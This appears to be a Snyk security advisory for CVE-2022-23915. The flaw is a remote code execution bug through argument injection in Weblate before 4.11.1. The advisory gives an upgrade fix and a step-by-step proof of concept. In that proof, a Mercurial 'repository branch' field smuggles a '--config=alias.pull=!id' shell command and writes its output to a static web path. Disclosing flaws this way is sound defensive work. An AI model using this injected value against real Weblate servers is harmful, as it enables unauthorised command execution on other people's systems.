Remote Code Execution (RCE) Affecting weblate package, versions [0,4.11.1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.29% (70th
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-WEBLATE-2414088
- published 4 Mar 2022
- disclosed 2 Mar 2022
- credit Alessio Della Libera of Snyk Research Team
Introduced: 2 Mar 2022
CVE-2022-23915 Open this link in a new tabHow to fix?
Upgrade Weblate to version 4.11.1 or higher.
Overview
Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection when using git or mercurial repositories. Authenticated users, can change the behavior of the application in an unintended way, leading to command execution.
PoC
login into the application:
http://localhost:8888/accounts/login/?next=/Add a new translation project with the following information (
http://localhost:8888/create/project/) and thenSave:
Project name: poc
URL slug: poc
Project website: http://localhost
- Add new translation component with the following information (
http://localhost:8888/create/component/?project=1) and then clickContinue:
Version control system: Mercurial
Source code repository: http://localhost:8888
Repository branch: --config=alias.pull=!id>/app/cache/static/output_rce.txt
- the output of the command
idis athttp://localhost:8888/static/output_rce.txt
References
CVSS Scores
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